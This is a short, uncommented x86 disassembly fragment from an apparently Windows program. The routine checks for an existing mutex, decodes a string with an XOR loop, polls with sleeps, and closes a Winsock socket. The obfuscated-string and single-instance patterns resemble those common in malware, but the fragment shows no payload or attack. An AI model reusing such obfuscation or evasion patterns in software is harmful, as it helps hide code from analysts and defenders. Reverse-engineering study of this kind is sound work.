lea eax, [esp + 0x3ec]
mov dword [0x55d624], ecx
push eax
lea ecx, [esp + 0x8fc]
mov byte [esp + 0x3f8], 0
call fcn.00402ab0
push 0x55ab2c
lea ecx, [esp + 0x8fc]
call fcn.00402b50
mov edx, eax
lea ecx, [esp + 0xa2c]
call fcn.00486de0
add esp, 4
mov ecx, eax
call fcn.00402b50
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea ecx, [esp + 0xa28]
call fcn.00402a10
lea ecx, [esp + 0x8f8]
call fcn.00402a10
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x47fcf9
push 0x7530
call ebx
movaps xmm0, xmmword [0x547560]
xor ecx, ecx
mov word [esp + 0x3fe], 0xdecf
movups xmmword [esp + 0x400], xmm0
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x3fe], al
inc ecx
cmp ecx, 8
jb 0x47fc12
lea eax, [esp + 0x3fe]
mov dword [0x55d624], ecx
push eax
lea ecx, [esp + 0x53c]
mov byte [esp + 0x40a], 0
call fcn.00402ab0
sub esp, 0x18
lea ecx, [esp + 0x550]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
call fcn.00425e30
add esp, 0x18
lea ecx, [esp + 0x538]
call fcn.00402a10
mov ecx, dword [0x55d108]
mov eax, 0x2aaaaaab
sub ecx, dword [0x55d104]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x47fcb4
push 0x64
call ebx
mov ecx, dword [0x55d108]
mov eax, 0x2aaaaaab
sub ecx, dword [0x55d104]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x47fc91
mov byte [0x55ce21], 1
push 0xbb8
call ebx
push 2
push dword [0x55aabc]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x55aabc]
call dword [sym.imp.WS2_32.dll_closesocket]
cmp byte [0x55ce43], 0
je 0x47fcf9
cmp byte [esp + 0x23], 0
je 0x47fcf9
nop dword [eax]
push 0x3e8
call ebx
jmp 0x47fcf0
lea ecx, [esp + 0x410]
call fcn.00402a10
lea ecx, [esp + 0x590]
call fcn.00402a10
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10